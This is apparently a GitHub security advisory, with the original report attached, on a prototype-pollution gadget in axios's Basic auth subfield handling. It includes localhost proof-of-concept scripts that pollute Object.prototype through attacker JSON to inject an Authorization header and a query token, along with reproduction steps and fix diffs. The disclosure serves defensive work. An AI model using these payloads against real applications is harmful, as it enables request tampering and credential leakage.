Axios: Prototype pollution auth subfields can inject Basic auth

## Summary Axios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header. This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`. ## Impact An attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object. The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures. This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield. ## Affected Functionality Affected functionality: - Node HTTP adapter Basic auth handling in `lib/adapters/http.js`. - Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`. - Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties. Unaffected or not accepted as core impact: - Requests with no own `auth` object after `mergeConfig()`. - Requests with own `auth.username` and `auth.password` values. - Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening. - Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary. ## Technical Details `mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`. In `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own('auth')`, but then reads subfields directly: ```js const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ``` If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain. The same pattern exists in `lib/helpers/resolveConfig.js`: ```js if (auth) { headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ); } ``` The fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere. ## Proof of Concept of Attack Safe local PoC against published `[email protected]`: ```js const http = require('node:http'); const axios = require('axios'); Object.prototype.username = 'victim-user'; Object.prototype.password = 'victim-password-leaked'; const server = http.createServer((req, res) => { console.log({ url: req.url, authorization: req.headers.authorization || null }); res.end('{}'); server.close(() => { delete Object.prototype.username; delete Object.prototype.password; }); }); server.listen(0, '127.0.0.1', async () => { await axios.get(`http://127.0.0.1:${server.address().port}/api`, { auth: {} }); }); ``` Expected output: ```json { "url": "/api", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ``` The base64 value decodes to `victim-user:victim-password-leaked`. ## Workarounds Avoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values. Applications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`. Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields. <details> <summary>Original Report</summary> ### Summary After [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in [PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`. When a polluted host process makes an axios call with the common "optional override" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic <base64>` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains). Reproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24) as well as the released `v1.16.1`. ### Details **Three still-unguarded read sites** on `main` HEAD: **(1) `lib/adapters/http.js` lines 737–740** (Node http adapter): ```js const configAuth = own('auth'); // ← top-level guard OK if (configAuth) { const username = configAuth.username || ''; // ← reads .username on the inherited chain const password = configAuth.password || ''; // ← reads .password on the inherited chain auth = username + ':' + password; } ``` `own('auth')` correctly applies `hasOwnProp` to the top-level `auth` key. But once `configAuth` is the empty object the caller passed (`auth: {}`), `configAuth.username` walks the prototype chain and picks up `Object.prototype.username`. Contrast with the proxy-auth path that PR #10833 fixed (lines 322–324): ```js const authUsername = authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined; const authPassword = authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined; ``` This is the exact pattern needed at lines 739–740 too. **(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver): ```js const auth = own('auth'); // ← top-level guard OK ... btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) // ^ .username and .password read directly on `auth`, no hasOwnProp guard ``` Same shape — top-level guarded, sub-fields walk prototype. **(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer): ```js newConfig.url = buildURL( buildFullPath(baseURL, url, allowAbsoluteUrls), config.params, // ← direct read, not through own() config.paramsSerializer // ← direct read, not through own() ); ``` This third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover. ### PoC This PoC contains zero direct `Object.prototype.x = y` writes. The pollution flows entirely from attacker-shaped JSON through a real deep-merge utility (`[email protected]`, ~50k weekly downloads, still walks `constructor.prototype`). A hand-rolled deep merge — the canonical insecure backend pattern — exhibits the same pollution via `__proto__` and is more common in real codebases than any named utility. ```js #!/usr/bin/env node 'use strict'; const http = require('node:http'); const axios = require('axios'); const defaultsDeep = require('defaults-deep'); // Defensive: scrub any prior pollution const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer']; function scrub() { for (const k of PROTO_KEYS) { try { delete Object.prototype[k]; } catch (_) {} } } scrub(); // 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST const attackerBody = JSON.parse(`{ "constructor": { "prototype": { "username": "victim-user", "password": "victim-password-leaked", "params": {"leak": "ATTACKER_QUERY_TOKEN"} } } }`); // 2) Realistic application pattern: merge user options into defaults const appDefaults = { timeout: 5000 }; defaultsDeep(appDefaults, attackerBody); // After this line: // Object.prototype.username === "victim-user" // Object.prototype.password === "victim-password-leaked" // Object.prototype.params === { leak: "ATTACKER_QUERY_TOKEN" } // 3) Capture outbound request on a local listener const server = http.createServer((req, res) => { console.log('=== captured outbound request ==='); console.log(JSON.stringify({ method: req.method, url: req.url, authorization: req.headers.authorization || null, }, null, 2)); res.end('{}'); server.close(); scrub(); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; // 4) Realistic application wrapper: optional per-call overrides. // `auth: opts.auth || {}` is the common pattern — empty own object, // but inherited values walk the prototype chain. function makeRequest(targetUrl, opts = {}) { return axios.get(targetUrl, { timeout: 5000, auth: opts.auth || {}, params: opts.params || {}, }); } makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => { console.error('axios error:', e.message); scrub(); process.exit(1); }); }); ``` Reproduction: ```bash mkdir /tmp/axios-poc && cd /tmp/axios-poc npm init -y npm install [email protected] [email protected] node /path/to/poc.cjs ``` Captured output (verified against released `1.16.1` AND against `main` at `34723be`, 2026-05-24): ```json { "method": "GET", "url": "/api/widget?leak=ATTACKER_QUERY_TOKEN", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ``` `dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to `victim-user:victim-password-leaked`. The querystring carries `?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel in real chains (CSRF token, session cookie via `req.headers`, etc.). ### Impact - **Credential exfiltration** via Basic auth header on the outbound request. If the request URL is attacker-influenced too (common in webhook/oauth-callback patterns), the credentials flow directly to the attacker. If not, they flow to the legitimate destination but expose victim credentials in any logs / proxies along the path. - **Outbound request-shape control** via inherited `params` / `paramsSerializer`. With `paramsSerializer` polluted to an attacker function, axios will execute that function with each `params` invocation — same-process code execution from a pollution primitive. - **Amplifier framing** is still correct. The application-side precondition is "deep-merges attacker JSON into a config object without `__proto__`/`constructor` filtering, then uses the empty- fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`." Both halves are very common in real codebases (we tested `defaults-deep`, hand-rolled merges, and several lodash-family utilities; many still pollute). - **CWE-1321** (Improperly Controlled Modification of Object Prototype Attributes — amplifier sink). ### Proposed fix Two-line change in `http.js`, matching the proxy-auth pattern PR #10833 already established: ```diff --- a/lib/adapters/http.js +++ b/lib/adapters/http.js @@ -737,8 +737,10 @@ const configAuth = own('auth'); if (configAuth) { - const username = configAuth.username || ''; - const password = configAuth.password || ''; + const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : ''; + const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : ''; auth = username + ':' + password; } ``` Same pattern in `resolveConfig.js`: ```diff --- a/lib/helpers/resolveConfig.js +++ b/lib/helpers/resolveConfig.js @@ -64,7 +64,11 @@ // HTTP basic authentication if (auth) { + const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : ''; + const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : ''; headers.set( 'Authorization', 'Basic ' + - btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) + btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : '')) ); } ``` The **`params` / `paramsSerializer`** half is already handled by open PR #10922's `own('params')` / `own('paramsSerializer')` change — that PR should be rebased / merged. ### Relationship to recent prototype-pollution work Same vulnerability class as the existing public hardening, just at sub-field granularity: - [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.** - [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.** - [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.** - [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.** - [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.** - [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.** This report adds: regular-request `auth.username` / `auth.password` sub-field reads in both the http adapter (lines 737–740) and resolveConfig.js (line 68). ### Reporter notes - Reported as part of a small peer-review bundle of runtime security findings. The bundle's public tracking entry (without the working exploit chain) is at [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md). - I'm happy to submit the patch as a PR if that helps. Or, if you'd prefer to fold this into open PR #10922 (whose author is actively responding to comments), please let me know and I'll coordinate. - Threat model honesty: this is **amplifier framing** — exploitation requires a separate prototype-pollution primitive elsewhere in the host process. That's how the existing GHSA-q8qp-cvcw-x6jj and PR #10833 were framed too, so the precedent for "in-scope as a hardening fix" is established. </details>

Quoted source text, attributed separately from HOL analysis.